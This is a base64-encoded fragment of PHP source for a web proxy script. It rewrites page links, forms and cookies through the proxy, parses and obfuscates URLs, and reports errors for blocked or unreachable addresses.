cIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkI